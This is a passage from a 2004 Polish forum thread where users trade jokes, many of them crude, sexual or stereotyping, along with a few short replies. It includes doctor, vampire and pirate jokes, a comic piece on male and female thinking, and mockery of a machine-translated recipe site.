cukru/mąki/innego popakowanego badziewia na dobre trzy metry. Byli pod
wrażeniem, szczególnie, że nie potrzebowała do tego zbyt wielkiego zamachu.

Naukowcy podczas intensywnych badań odkryli też nowe fakty: Cele podrózy
babć: 29% - jadące na lub z działki (te zazwyczaj z tobołkami - wiaderka
itp.) 24% - jadące na lub z bazaru/targowiska (również tobołki) 19% -
jadące do lub od lekarza (bez tobołków, ale poznać po rozmowach na temat
przebytych chorób i ilości branych codzień leków) 16% - jadące na tajne
spotkania o tematyce religijno-politycznej (te zazwyczaj siedzą cicho i
żegnają się przy przejeżdżaniu koło kościoła) 7% - jadące do innej babci w
odwiedziny w celu podyskutowania na tematy polityki i chorób (łatwo
zaczynają dyskusję na te tematy z innymi pasażerami)

4% - jeżdżące bez celu z nadmiaru wolnego czasu (również szybkie
rozpoczynanie rozmów, zwłaszcza opowiadanie własnej biografii lub kogoś z
rodziny)

1% - nieznany cel podrózy (takie trudno rozszyfrować, najczęściej każą nie
wstawać bo "jadą tylko jeden przystanek" a w rzeczywistości wysiadają po
kilku)

heyway - 22-10-2004, 12:17

Jak powiedzieć zdrobniale:
"Odprowadzę do domu Irenę?"
- Odprowadzę do domu Iruchnę.

maczaty - 22-10-2004, 13:20

Wyznaczniki sukcesu na poszczególnych etapach życia:

4 lata - nie sikać w majtki,
12 lat - mieć przyjaciół,
18 lat - posiadać prawo jazdy,
20 lat - uprawiać seks,
35 lat - dużo zarabiać,
60 lat - uprawiać seks,
70 lat - posiadać prawo jazdy,
75 lat - mieć przyjaciół,
80 lat - nie sikać w majtki.

tsharny - 22-10-2004, 15:22

- Kochanie, jak ci smakował obiad, który dziś ugotowałam?
- Dlaczego ty stale dążysz do kłótni?!

:22:

tsharny - 22-10-2004, 15:26

Przychodzi gość do lekarza. Lekarz coś pisze, a facet się skarży:
- Panie doktorze, wciąż coś mi chodzi stąd dotąd i stąd dotąd, i
stąd dotąd... - i pokazuje raz szyję, raz lędźwia.
- Proszę się rozebrać.
Pacjent się rozebrał. Lekarz osłuchał całe plecy i zdziwiony mówi:
- Ja tu nic nie słyszę, wszystko jest normalnie.
- Ale panie doktorze, wciąż coś mi chodzi stąd dotąd i stąd dotąd,
i stąd dotąd...
Lekarz obchodzi pacjenta, staje z przodu i spogląda na twarz.
- Już wszystko wiem. Pan ma gębę do dupy podobną i gówno nie wie,
którędy ma wyjść.

Aston - 22-10-2004, 22:40

:wave:

Zapraszam na strony: http://www.living-foods.com/recipes/

Po znalezieniu się na stronie zalecam do tłumaczenie na język polski - rameczka TRANSLATE na samym dole.

Myślę, że wtedy naprawdę docenicie piękno naszego ojczystego języka!

:wave: :wave:

marcinlisek - 23-10-2004, 11:23

Ten Sunfood Kuchnia jest pewien książka rezygnować więcej niż just zachwycający recepty, Fred pisze losy od wartościowy surowy końce i podstępy w ten książka. ten książka jest ten najliczniejszy ludowy surowy żywność recepta książka.

no wymiękam
pozdrawiam
marcin

Te_Pe - 23-10-2004, 17:45

marcinlisek napisał/a:
Ten Sunfood Kuchnia jest pewien książka rezygnować więcej niż just zachwycający recepty, Fred pisze losy od wartościowy surowy końce i podstępy w ten książka. ten książka jest ten najliczniejszy ludowy surowy żywność recepta książka.

no wymiękam
pozdrawiam
marcin


lepsze to petardy i zboża :-)

tsharny - 26-10-2004, 13:52

- Kolega popełnia straszne błędy językowe. Kolega powiedział przed chwila:
fragment wiersza. A przecież fragment jest to coś, co odbywa się w
drożdżach. Piwo fragmentuje. Oranżada może być sfragmentowana.
- Sfermentowana. To jest ferment.
- Nie. Ferment to jest szczelne zamkniecie. Mówimy: fermetycznie zamknięte.
- Hermetycznie.
- Kolego... kogo kolega chce uczyć? Czy kolega nie wie, ze ja jestem świetny
langusta?
- Kolega jest świetny co?
- Langusta. Czyli taki, co zna języki.
- Lingwista! Langusta to jest taki skorupiak. Bardzo smaczny zresztą.
- Nie. Skorupiak, to może być: szkrab, krawatka, homer...
- Homar!
- Nie. Homar to jest taki owad. Mówi się, ze pod wieczór najbardziej homary
kąsają.
- Komary!
- Kolega naprawdę nie ma za grosz pigmentu do języków.
- Aaa, tu kolegę złapałem. Nie można mieć pigmentu do języków, bo pigment
nie ma nic wspólnego z językiem. Pigment jest to taki mały człowiek.
- Tacy mali ludzie to chyba Pigmeje?
- Nie. Pigmeje to są góry. Miedzy Francja a Hiszpania leży cały pas takich
Pigmejów. - To są Pireneje!
- Pireneje to są starożytne budowle w Egipcie. Jest Sfinks, a dookoła niego
Pireneje. Budowali je bardzo dawno temu farmazonowie.
- Fanfaronowie!
- Jak?
- Był nawet taki film według Prusa: Fanfaron.
- Tak jest! Widziałem! Fanfaron Tulipan.
- Gratuluje. Kolega jest też świetnym langusta.

Efraim Ryba - 26-10-2004, 19:05

Trzeba troszkę uruchomić wyopbraźnię, bo dowcip ten najlepiej pokazać. Ale myślę, że damy radę.

Płynie dziadek z wnuczkiem na żagłówce a ponieważ jest im nudno, oglądają stare albumy ze zdjęciami. Wnuczek długo wpatruje się w jedno grupowe zdjęcie. W końcu pokazuje bruneta ze śmiesznym wąsikiem i grzywką i pyta:
- dziadziu, a ten tu, to kto?
- a wnusiu, to jest adolf hitler, baaardzo zły człowiek, on zamordował mnóstwo ludzi...
Wnuczek dalej wpatruje się w zdjęcie i w końcu wskazuje na młodego człowieka z charakterystycznie wyciągnietą prawicą:
- a ten tutaj, taki dziwnie znajomy, to kto?
- to twój dziadzio. Mówi temu złemu człowiekowi: HOLA, HOLA, HOLA...

Efraim Ryba - 27-10-2004, 09:21

Przychodzi facet do seksuologa:
- panie doktorze, mam problemy ze wzwodem, no, nie staje mi po prostu.
- pan pokaże - doktor bierze w rekę, wykonuje kilka fachowych ruchów. Efekt jest natychmiastowy - no przecież staje...
- no tak, ale nie mogę wytrysku osiągnąć...
Doktor wykonuje jeszcze kilka fachowych ruchów jest wytrysk, wielki jak cholera.
- panie, ja pana nie rozumiem, normalnie panu staje, z wytryskiem nie ma problemów, to co by pan jeszcze chciał?
- Buzi....

tsharny - 27-10-2004, 11:03

cała prawda o...

Powiedzmy, że facetowi imieniem Stefan podoba się kobieta... nazwijmy ją Jolka. Zaprasza ją do kina. Ona się zgadza, spędzają razem miły wieczór. Kilka dni później proponuje jej obiad w restauracji i znów oboje są zadowoleni. Zaczynają się spotykać regularnie i żadne z nich nie widuje się z nikim innym. Aż któregoś wieczoru w samochodzie, Jolka zauważa:
- A wiesz, że dziś mija dokładnie sześć miesięcy odkąd się spotykamy ?
W samochodzie zapada cisza. Dla Jolki wydaje się ona strasznie głośna. Dziewczyna myśli: "Kurcze, może nie powinnam była tego mówić. Może on nie czuje się dobrze w naszym związku. Może sądzi, że próbuję na nim wymusić jakieś zobowiązania, których on nie chce, albo na które nie jest jeszcze gotowy".
A Stefan myśli: "O rany. Sześć miesięcy".
Jolka myśli: "A tak w sumie to i ja sama nie jestem pewna, czy chcę takiego związku. Czasami chciałabym mieć więcej przestrzeni, więcej czasu, żebym mogła przemyśleć, co chcę dalej zrobić z tym związkiem. Czy ja naprawdę chcę, żebyśmy posuwali się dalej...? W zasadzie... do czego my dążymy? Czy tylko będziemy się nadal spotykać na tym poziomie intymności? Czy może zmierzamy ku małżeństwu? Ku dzieciom ? Ku spędzeniu ze sobą całego życia ? Czy ja jestem już na to gotowa ? Czy ja go właściwie w ogóle znam ?"
A Stefan myśli: "... czyli... to był... zobaczmy... czerwiec, kiedy zaczęliśmy się umawiać, zaraz po tym, jak odebrałem ten samochód, a to znaczy... spójrzmy na licznik... Cholera, już dawno powinienem zmienić olej!"
A Jolka myśli: "Jest zmartwiony. Widzę to po jego minie. Może to jest zupełnie inaczej ? Może on oczekuje czegoś więcej - większej intymności, większego zaangażowania... Może on wyczuł - jeszcze zanim sama to sobie uświadomiłam - moją rezerwę. Tak, to musi być to. To dlatego on tak niechętnie mówi o swoich uczuciach. Boi się odrzucenia."
A Stefan myśli: "I muszą jeszcze raz sprawdzić pasek klinowy. Cokolwiek te barany z warsztatu mówią, on nadal nie działa dobrze. Zwalają winę na mrozy. Jakie mrozy? Jest 8 stopni, a ten silnik pracuje jak stara śmieciara! A ja głupi jeszcze zapłaciłem tym niekompetentnym złodziejom 6 stówek."
A Jolka myśli: "Jest zły. Nie winię go. Też bym była na jego miejscu zła. No - to moja wina, kazać mu przez to przechodzić, ale nic nie poradzę na to, co czuję. Po prostu nie jestem pewna..."
A Stefan myśli: "Pewnie powiedzą, że gwarancja tego nie obejmuje. To właśnie powiedzą.... Chamy."
A Jolka myśli: "Może jestem po prostu idealistką, czekającą na rycerza na białym koniu, kiedy siedzę obok wspaniałego mężczyzny, z którym lubię być, na którym naprawdę mi zależy, któremu chyba także zależy na mnie. Mężczyzny, który cierpi z powodu mojej egoistycznej, dziecinnej, romantycznej fantazji."
A Stefan myśli: "Gwarancja! Ja im dam gwarancję! Powiem, żeby ją sobie wsadzili w d...... Ja chcę mieć sprawny wóz"
- Stefan - odzywa się Jolka.
- Co? - pyta Stefan, wyrwany niespodziewanie z zamyślenia.
- Nie dręcz się już tak - kontynuuje Jolka, a jej oczy zaczynają napełniać się łzami. Może nigdy nie powinnam... Czuję się tak... (załamuje się i zaczyna szlochać)
- Ale co? - dopytuje się Stefan
- Jestem taka głupia... Wiem, że nie ma rycerza. Naprawdę wiem. To głupie. Nie ma rycerza i nie ma konia....
- Nie ma konia? - pyta zdziwiony Stefan
- Myślisz, ze jestem głupia, prawda ? - pyta Jolka.
- Nie! - odpowiada Stefan, szczęśliwy, że wreszcie zna prawidłową (chyba) odpowiedź na jej pytanie.
- Ja tylko... Ja tylko po prostu... Potrzebuję trochę czasu...
(następuje 15-sekundowa cisza, podczas której Stefan, myśląc najszybciej jak potrafi, próbuje znaleźć bezpieczną odpowiedź. W końcu trafia na jedną, która wydaje mu się niezła)
- Tak. - mówi.
Jolka, głęboko wzruszona, dotyka jego dłoni.
- Och, Stefan, naprawdę tak czujesz? - pyta.
- Jak? - odpowiada pytaniem Stefan.
- No, o tym czasie... - wyjaśnia Jolka.
- Nnnoo... Tak.
(Jolka odwraca się ku niemu i patrzy mu głęboko w oczy, sprawiając, że Stefan zaczyna się czuć bardzo nieswojo I obawiać, co też ona może teraz powiedzieć, zwłaszcza, jeśli dotyczy to konia.... W końcu Jolka przemawia)
- Dziękuje ci, Stefan.
- To ja dziękuję - odpowiada z ulgą mężczyzna. Potem odwozi ją do domu, gdzie rozdarta, umęczona dusza chlipie w poduszkę aż do świtu, podczas gdy Stefan wraca do siebie, otwiera paczkę chipsów, włącza telewizor i natychmiast pochłania go powtórka meczu tenisowego między dwoma Szwedami, o których nigdy wcześniej nie słyszał. Cichy głos w jego głowie podpowiada mu, że w samochodzie wydarzyło się dziś coś ważnego, ale Stefan jest pewny, że nigdy nie zrozumie co, więc stwierdza, że lepiej wcale o tym nie myśleć (tę samą taktykę stosuje w stosunku do wielu tematów - np. głodu na świecie).
Następnego dnia Jolka zadzwoni do swej najbliższej przyjaciółki, może do dwóch i przez sześć godzin będą omawiać tę sytuację. Drobiazgowo analizują wszystko, co ona powiedziała i wszystko, co on powiedział, po raz pierwszy, drugi i n-ty, interpretując każde słowo, każdą minę i każdy gest, szukając niuansów znaczeń, rozważając każdą możliwość... Będą o tym dyskutować, przez tygodnie, może przez miesiące, nie osiągając żadnej konkluzji, ale także wcale się tym nie nudząc. W tym samym czasie, Stefan, pijąc piwo ze wspólnym przyjacielem jego i Jolki, zastanowi sie i zapyta:
- Janusz, nie wiesz, czy Jolka miała kiedyś konia?

:22:

Mania - 27-10-2004, 17:38

dobre i baaaardzo prawdziwe
:22:
Mania

Ryszard Szwajcer - 27-10-2004, 17:54

Bo my- faceci- jesteśmy prości.
Skoro kobieta mówi np. o lodówce, to do licha jak się mamy domyślić, że tak na prawde chodzi jej o fryzjera i kosmetyczkę?- i na litość nie proś przypadkiem Maniu, żebym to próbował wyjaśnić. :20:

Piotr - Malediwy - 27-10-2004, 18:26

Skad ja to znam... :lol:
Ryszard Szwajcer - 27-10-2004, 18:56

I jeszcze jedno!- Jak kobieta zaczyna sie interesować np. zasadą działania spawarki w warsztacie, to na bank chodzi o spaloną żarówkę na strychu i kapiący kran w kuchni...
Ale właśnie za to kocham swoja żonę, ponieważ zostawiona sama sobie, poradziła sobie zawsze z tym, co miała pod reką. To, co ja musiałbym zrobić za pomocą precyzyjnych narzędzi, lutownicy, tudzież wielu fachowych i bardzo "odjazdowych" klamorów, ona naprawia tłuczkiem, nożem i otwieraczem do konserw. I działa!!!- jest po prostu urocza i dostarcza mi często wielu zabawnych chwil opowiadając, jak i czym sobie poradziła. Mam ubaw po pachy, jak jedziemy do sklepu kupić nowe "toto", co nie chciało się ("świństwo") naprawić za pomoca noża, tłuczka i taboretu...
Nie wiem co bym począł bez niej. Na pewno byłbym skończonym smutasem i już...
Reszta 8 marca hej! ;-)

Sonny - 28-10-2004, 11:45

tsharnyto bylo poprstu niesamowite...Ale fakt jest faktem mezczyzna to proste urzadzanie, bo mam przeciez tylko jedna dzwignie :oops: :lol:
jednak przez ostanie 19 lat mojego zycia (czasem pisknego) nauczylem sie ze z Kobieta jest ciezko, ale bez Kobiety u boku jest jeszcze gorzej...

CZACHO - 29-10-2004, 00:40

-Czym się rożni kanarek od mostu?
-??
-Kanarek jest żółty a po moście się chodzi


W starej wieży na pustkowiu siedzą sobie nocą trzy wampiry i grają w karty. Grają, grają, noc mija i zrobili się głodni. Jeden mówi:
- Grajcie we dwóch, ja idę coś wrzucić na ruszt.
Długo nie trwało i wrócił. Usta umazane krwią...
- Znacie te wioskę na południe stad?
- Tak
- No to już jej nie ma. Wyssałem ich co do jednego...
Drugi wampir wstaje:
- Dobra, teraz wy grajcie a ja napełnię żołądek.
Długo nie trwało i wrócił. Usta umazane krwią...
- Znacie to miasteczko na zachód stad?
- No...
- Nikt już tam nie mieszka, he, he..., be-ek!
Trzeci wampir wychodzi, rzucając w drzwiach:
- Teraz ja, niedługo wracam.
Wraca jeszcze szybciej niż. tamci. Ociężale wchodzi do komnaty. Twarz cala we krwi.
- A ty gdzie byłeś?
- Nigdzie. Wyjebałem się na schodach.


Jedzie ciężarówka załadowana bardzo wysoko. Kierowca – cwaniaczek chciał przejechać pod mostem, ale niestety zaklinował się. Przyjechała policja, gliniarz
chodzi dookoła, patrzy mówi:
- No i co? zaklinował się pan?
Na co kierowca:
- Nie! Wiozłem ku..a most i mi się paliwo skończyło...



Jedzie trabant szosą i nagle wpada do rowu.W rowie krowi placek.
Placek pyta: Heh! Kto ty jestes?
Na to trabant: Jakto kto?! Jestem samochodem!
A placek na to: Ha ha ha! Jak ty jestes Samochód to ja jestem Pizza!!!!

yogi - 29-10-2004, 01:20

wampirek jest odjazdowy-super
tsharny - 29-10-2004, 13:38

cieszę się, że wam się podobała cała prawda o... :)
rysiu, zgadzam się z tobą w 100%, czasem facet nie jest w stanie zrozumieć kobiety (może na odwrót) , ale bez nich życie jest do... :buuu:


a teraz coś z innej beczki ;)

To było tak: Był sobie bardzo dobry prałat, człowiek bardzo
wielkiej wiary i dobrego serca. Nie uciekały przed nim
zwierzęta, karmił biedaków, nocował bezdomnych. Któregoś
wieczora wracał po mszy na plebanię i nagle usłyszał ciche
wołanie: ,,Księże prałacie! Księże prałacie!''. Odwrócił się, ale nic
nie zobaczył. Po chwili wołanie powtórzyło się. Rozejrzał się uważnie
i w szarówce wieczoru dostrzegł siedzącą na kamieniu żabę. Podszedł i
schylił się nad ledwo żywym zwierzątkiem, a ono wyjąkało: ,,Weę mnie
ze sobą, jestem zaklęty przez złą wiedęmę. Zanieś mnie na plebanię,
nakarm, daj pić, przytul i pocałuj, a zdejmiesz ze mnie zły czar''.
Prałat niewiele myśląc, zabrał żabkę, nakarmił, napoił, przytulił i
pocałował, a nawet położył w swoim łóżku, na swojej
poduszeczce. Następnego dnia rano obudził się, patrzy, a obok niego
leży piękny 16-letni ministrant...
- I taka właśnie jest nasza linia obrony, wysoki sądzie...

Ryszard Szwajcer - 30-10-2004, 08:40

W portowej karczmie siedzą przy jednym stole i piją rum marynarz i pirat.
Po którejś z kolei szklaneczce rumu, marynarz pyta pirata:
M: hej!- Pirat!- a czemu masz drewnianą nogę?
P: Aaa... w czasie pojedynku, zanim zadźgałem jednego takiego, to mi niestety urąbał nogę i musiałem sobie sprawić drewnianą.
M: Te!- Pirat!- a czemu zamiast ręki masz takiego metalowego haka?
P: Aaa... to, to mi rekin odgryzł i musiałem sobie jakoś poradzić, więc mam teraz taki hak.
M: Pirat!- a czemu masz czarną opaskę na oku?
P: No bo nie mam oka!!!
M: Pirat!- a jak to się stało, że straciłeś oko?
P: Mewa mi nasrała.
M: Nie pieprz Pirat, bo od tego nie straciłbyś oka...
P: Od tego nie!- ale miałem k....... pierwszy dzień hak!

szandor1 - 30-10-2004, 09:02

Przychodzi Jaś do domu i mówi:
- Mamo , wszystkie dzieci się ze mnie śmieją, że śmierdzę trupem...
- Mamo...
- ...
- Mamo!
- ...
- No Mamo!!!

Ryszard Szwajcer - 30-10-2004, 09:43

Siedzi sobie sroka na gałęzi dużej brzozy i patrzy z góry, na otaczający ją świat.
Patrzy, patrzy i widzi, jak polaną, powoli, dostojnym krokiem, zbliża się do brzozy...krowa.
Krowa podchodzi całkiem blisko, spogląda do góry, na srokę, po czym zaczyna... wyłazić na brzozę...
Jak wyspinała się kosztem niemałego wysiłku na wysokość sroki, mówi:
K: Te!- Sroka!- posuń się!
Sroka się przesunęła a na gałęzi obok zasiadła krowa.
S: Krowa!- czy Ty jesteś aby na pewno normalna?- przecież krowy nie łażą po drzewach!
K: Te!- Sroka!- nie histeryzuj!- Wlazłam tu, bo se chcę tylko wisienek pojeść.
S: Krowa!- ale to jest brzoza!- tu nie ma wisienek!
K: Spoko sroka!- wisienki mam w słoiku!

Miłosz - 30-10-2004, 15:51

Maly przykład na to jak sobie można samemu pokomplikowac życie...

"Ozenilem sie z trzydziestoczteroletnia ladna i mloda wdówka, która miala
równie ladna szesnastoletnia córke.
Mój ojciec ozenil sie z moja pasierbica. Od tej pory wszyscy
potracilismy
orientacje w rodzinnych stosunkach.
Moja zona, czyli synowa mojego ojca jest równiez jego tesciowa.
Moja pasierbica zostala moja macocha, a mój ojciec moim zieciem.
Nie koniec na tym...
Niedawno urodzil mi sie syn, a pól roku pózniej jego stryj, czyli syn
mojego ojca. Moja macocha czyli córka mojej zony zostala w ten sposób
siostra swojego wnuka, bedac równoczesnie babka swojego brata.
Jej syn jest moim bratem, a ja jego dziadkiem.
Mój ojciec jest szwagrem swojego wnuka, który jest bratankiem jego syna.
Moja zona, tesciowa i synowa mojego ojca jest babka mojego brata.
W ten sposób zostalem swoim wlasnym dziadkiem..."

Pozdro,
Nishi

Piotr - Malediwy - 30-10-2004, 16:05

Ja wolę mniej skomplikowane związki... :lol:
Te_Pe - 31-10-2004, 10:28
Temat postu: dowcipy, nie nurkowe (by www.funiaste.net)
Poszedł gość na disco. Wpada, rozgląda się - przy stoliku siedzi całkiem fajna dziewczyna.
Pyta, czy się może przysiąść.
- Oczywiście, ale jest taka sprawa... jestem inwalidką, na wózku. Rozumiesz...
Chłopak patrzy - rzeczywiście. Ale nic,...mówi, że mu to nie przeszkadza.
Tak siedzą, rozmawiają, popijają drinki w pewnym momencie gość mówi:
- Słuchaj, może zatańczymy?
- Jak to, przecież ja na wózku, nie mogę...
- Nie szkodzi, jakoś to będzie
I faktycznie, wyjechał z tym wózkiem na środek tańczą, kółka się z piskiem kręcą na parkiecie. Po tańcu zmęczeni wyszli na świeże powietrze. Tam romantycznie, księżyc, gwiazdy, gadka-szmatka, chłopak zaczyna się ostro do niej dobierać. Dziewczyna się nieco opiera:
- Ja nie mogę, zobacz sam, paraliż, wózek...
- Spoko spoko. Przewieszę cię przez płot, poradzimy sobie.
I tak właśnie zrobił. Przewiesił ją przez płot, zerżnął, ubrał, posadził z powrotem na wózek i wjechali do środka.
Tam dziewczyna w płacz. Gość zaniepokojony pyta:
- Co jest? Co ci się dzieje?
- Bo... to... pierwszy raz... - mówi przez łzy dziewczyna.
- Co ty mówisz, przecież czułem, ze nie pierwszy raz!
- Pierwszy raz ktoś mnie potem zdjął z płotu...

szandor1 - 31-10-2004, 22:02

Idzie mis i zajączek na imprezę. Zajączek mówi do misia:

- Słuchaj, ile razy jesteśmy na imprezie i ty się nawalisz, to potem mnie bijesz. Obiecaj, że dzisiaj nie będziesz.

Miś:

- Ok, nie ma sprawy.

Rano zając budzi się cały posiniaczony, we krwi i bez 2 zębów. Wkutwiony biegnie do misia i mówi:

- Kurna, obiecałeś. że nie będziesz mnie bić

A miś na to:

- Słuchaj, zając, poszliśmy na imprezę, ty się nawaliłeś i zacząłeś szaleć. Najpierw zacząłeś mi bluzgać, że jestem grubym pedałem i debilem. Już miałem ci wyrżnąć, ale myślę... "OK, obiecałem...". Potem zacząłeś jechać na moją dziewczynę, że to szmata i puszcza się z każdym w lesie. Ledwo co wytrzymałem, ale... Ok, myślę jesteś nastukany i w ogóle... Potem dopieprzyłeś się do mojej matki... Ledwo co mnie ludzie utrzymali, ale nic ci nie zrobiłem... Ale, jak wróciliśmy do domu, a ty narżnąłeś mi do lóżka i wetknąłeś w to 3 kredki i powiedziałeś, że "JEŻYK ŚPI DZISIAJ Z NAMI", to nie wytrzymałem...

Tomek Radomski - 04-11-2004, 00:14

7 cudow komunizmu

1. Kazdy mial prace.
2. Mimo, ze kazdy mial prace, nikt nigdy nie pracowal.
3. Nawet mimo tego, ze nikt nie pracowal, plan byl zawsze wykonany w ponad 100%.
4. Nawet mimo tego, ze plan byl wykonywany w ponad 100%, nie mozna bylo niczego kupic.
5. Nawet mimo tego, ze nie mozna bylo niczego kupic, wszyscy mieli wszystko.
6. Nawet mimo tego, ze wszyscy mieli wszystko, wszyscy kradli.
7. Nawet mimo tego, ze wszyscy kradli, nigdy niczego nie brakowalo

Tomek Radomski - 04-11-2004, 00:15

W zoo:
- Tato dlaczego ta gorylica tak krzywo na nas patrzy?
- Spokojnie synku, to dopiero kasa.

Tomek Radomski - 04-11-2004, 00:17

Panna zdawala w Warszawie egzamin ustny na wyzsza uczelnie. Egzamin byl tak ustawiony, ze miala go zdac. Egzaminator zadal jej pierwsze pytanie:
- Prosze opisac sytuacje budzetu narodowego po dymisji ministra finansów, pana Kolodki.
- Niestety, nic nie wiem na ten temat - odpowiada dziewczyna
- A co pani wie o aferze Rywina?
- Niestety nic...... nie wiem nawet kto to jest Rywin.
- No a wie pani, kto pelni obecnie funkcje premiera rzadu polskiego?
- Niestety, nie.
- A czy słyszala pani o Premierze Belce????
- Nie, nigdy nie słyszalam.
- Boze, skad pani sie tu wzieła??
- Z Bieszczad.......

Nastala cisza.

Egzaminujacy profesor podszedl do okna i pomyslal...
- Hmm, a może by tak to wszystko a fee i wyniesc sie w Bieszczady?

Tomek Radomski - 04-11-2004, 00:25

Pewien mlody mezczyzna mial 3 przyjaciolki, po pewnym czasie musial sie zdecydowac, ktora w koncu poslubic. Dlatego zrobil test. Kazdej dal po 4.000 zlotych.

Pierwsza przyjaciolka poszla do sklepu, kupila sobie suknie, buty, piekny kapelusz. Poszla do fryzjera. Przyszla z powrotem do goscia i mowi:
- Chce byc najladniejsza dla Ciebie, poniewaz Cie kocham.


Druga przyjaciolka poszla do sklepu. Kupila stroj pilkarski, telewizor, wideo i 1000 puszek piwa. Przyszla z powrotem do goscia i mowi :
- To sa moje prezenty dla Ciebie, poniewaz Cie kocham.


Trzecia przyjaciolka pomyslala ostro, wziela te pieniadze i wpakowala je w inwestycje, z ktorej po krotkim czasie podwojny wklad wyciagnela. Potem wziela te pieniadze i wpakowala je w inna inwestycje, ktora rowniez pieknie prosperowala. I potem znowu to samo i znowu to samo, tak ze po pewnym czasie z tych 4.000 zl zrobila majatek. Przyszla z powrotem do goscia i mowi :
- Ja z tych pieniedzy bardzo duzo zarobilam na nasza wspolna przyszlosc, poniewaz Cie kocham.


Mlody mezczyzna byl zachwycony wszystkimi przyjaciolkami, przemyslal wszystkie odpowiedzi ....
i ozenil sie z ta ..........


ktora miala najwieksze cycki ...


MORAL: MEZCZYZNI - W PRZECIWNIENSTWIE DO KOBIET NIE LECA NA KASE!!!

Tomek Radomski - 04-11-2004, 00:31

Mały Jasio przyszedł do mamy i mówi:
- Mamo, słuchaj, widziałem dzisiaj tatusia z ciocią Basią w garażu, wiesz, najpierw tatuś ją pocałował, potem ściągnął jej bluzkę, potem ona pomogła mu zdjąć spodnie, a potem...
- Wystarczy, Jasiu, ta historia jest na tyle ciekawa, że chciałabym, abyś opowiedział ją również tatusiowi przy kolacji. Ciekawa jestem jego miny, kiedy to usłyszy!
Przy kolacji mama prosi Jasia o opowiedzenie historii.
- No więc widziałem dzisiaj tatusia z ciocią Basią w garażu, najpierw tatuś ją pocałował, potem ściągnął jej bluzkę, potem ona pomogła mu zdjąć spodnie, a potem razem zrobili to samo, co ty mamusiu zrobiłaś z wujkiem Karolem, kiedy tatuś był na ćwiczeniach w wojsku...

tsharny - 04-11-2004, 14:00

Ojciec z synkiem podczas spaceru mijają dom publiczny. Synek zaintrygowany charakterystycznym wyglądem budynku pyta:
- Tata, a co tu jest?
Ojciec nie chcąc skłamać, ale i nie chcąc powiedzieć prawdy mówi:
- Widzisz synku ... to jest taki dom w którym za pieniądze można zaznać rozkoszy.
Mały zapamiętał sobie słowa ojca i po obiedzie wyciągnawszy od niego dyche na kino, naturalnie poleciał do burdelu. Wpada do środka, buch tą dychę na ladę i mówi:
- "Plose pani, chciałbym zaznać roskosy".
Burdelmama spojrzała na niego, ukroiła trzy pajdy chleba, posmarowała masłem i miodem i wręczyła to maluchowi. Mały po powrocie do domu mówi do ojca:
- Tata, zgadnij gdzie byłem!
- No ... w kinie ...
- Nie tata, w tym domu co żeśmy mijali ...
- ?! No i co!?
- Dwóm dałem radę, ale trzecią już mogłem tylko wylizać ...

:22:

tsharny - 05-11-2004, 15:30

Co ma zakonnik pod napletkiem ?
- sekret mnicha


:22:

tsharny - 05-11-2004, 15:36

Wykopaliska w Izraelu, uczeni w pewnej jaskinii znalezli blok z
wyrytymi symbolami. Z wielkim trudem blok wydobyli z jaskinii i
przewiezli do Uniwersytetu, ustawili go na podium i publicznie
debatowali nad tajemniczymi symbolami. Profesor Goldbaum zaczal:
-Jako piewszy od lewej widzimy symbol plonacego krzewu, wnioskuje z
tego ze znaki te wyryl ktos z rodu Mojzesza...
W tym momencie podnosi reke jeden ze studentow pierwszego roku,
siedzacy w pierwszym rzedzie: -Czy moge zabrac glos?
-Cisza, cisza, teraz profesorowie analizuja te symbole!
Profesor Szwarcmund: -Drugi rysunek od lewej przedstawia dwie mlode
niewiasty,moim zdaniem znaczy to ze starozytne ludy mialy kobiety w
wielkiej estymie...
Znow student z pierwszego rzedu: -Ale ja bym...
-Cisza, cisza!
Profesor Apfelbrot: -Trzeci symbol od lewej oznacza bez watpienia
Swiatynie Salomona w Jerozolimie, a czwarty zaraz obok przedstawia woz
drabiniasty, co moim zdaniem oznacza ze starozytni ludzie nie tylko
znali kolo, ale takze podrozowali w celach religijnych...
Student z pierwszego rzedu: -Ja bym tylko chcial...
-Cisza, cisza
Profesor Burgenmeyer: -Piaty symbol przedstawia rybe, a szosty
mezczyzne oddajacego mocz na ziemie. Moim zdaniem oznacza to ze
starozytni korzystali z darow morza, a takze uprawiali i nawozili w
sposob naturalny ziemie...
Student: -Moze ja powiem...
-Cisza, cisza!
Profesor Goldbaum: -Ostatni znak widzimy wyraznie jest Gwiazda Dawida,
co oznacza z pewnoscia ze starozytni na tych terenach byli pochodzenia
hebrajskiego...
Student wstaje i krzyczy:
-Dajcie mi cos w koncu powiedziec! Po pierwsze po hebrajsku czyta sie
od prawej do lewej, a po drugie to znaczy: Dawid, olej te ryby,
wskakuj w bryke i przyjezdzaj do Jerozolimy, tu dziwki az sie pala!

maczaty - 05-11-2004, 15:52

Przychodzi facet do biura pośrednictwa pracy i pyta:
- Dzień dobry, ma pan jakieś ciekawe oferty pracy?
- Mamy dla pana ofertę: 7000 zł na rękę, służbowe mieszkanie i samochód.
- Pan żartuje!?
- Tak, ale to Pan zaczął.

:22:

maczaty - 05-11-2004, 15:57

Na zebraniu ZBOWiD-u żali się dziadek:
- Kochani, ja mam taką sklerozę, że nie pamiętam, czy walczyłem w I wojnie w II korpusie, czy w II wojnie w I korpusie.
Na to drugi:
- A ja to nie pamiętam, czy na wojnie dostałem kulką między łopatki, czy łopatką między kulki.
Na to odzywa się babcia:
- A ja nie pamiętam, czy to ja wystrychnęłam Niemców na dudka, czy to Niemcy mnie wydudkali na strychu.

:mrgreen:

voytar - 05-11-2004, 16:02

Przychodzi facet z synem do biura pośrednictwa pracy i pyta:
- Dzień dobry, ma pan jakieś ciekawe oferty pracy dla mojego syna? Skończył zawodówkę budowlaną i ma trochę doświadczenia.
- Momencik. Mamy dla pana ofertę: 1500 zł na rękę, pomocnik murarza.
- E nie... To za dużo! Dostałby pensję i ją od razu przepił...
- Jest coś za 1000, także pomocnik murarza.
- Też za dużo... Nie ma czegoś za 500 złotych?
- Panie! Za 500 to studia trzeba skończyć!

:22:

amanecer - 06-11-2004, 17:00

Wywiad z bacą:
- Baco, jak wygląda wasz dzień pracy?
- Rano wyprowadzam owce, wyciągam flaszkę i piję...
- Baco, ten wywiad będą czytać dzieci. Zamiast flaszka mówcie książka.
- Dobra. Rano wyprowadzam owce, wyciągam książkę i czytam. W południe przychodzi Jędrek ze swoją książką i razem czytamy jego książkę. Po południu idziemy do księgarni i kupujemy dwie książki, które czytamy do wieczora. A wieczorem idziemy do Franka i tam czytamy jego rękopisy.

szandor1 - 06-11-2004, 20:54

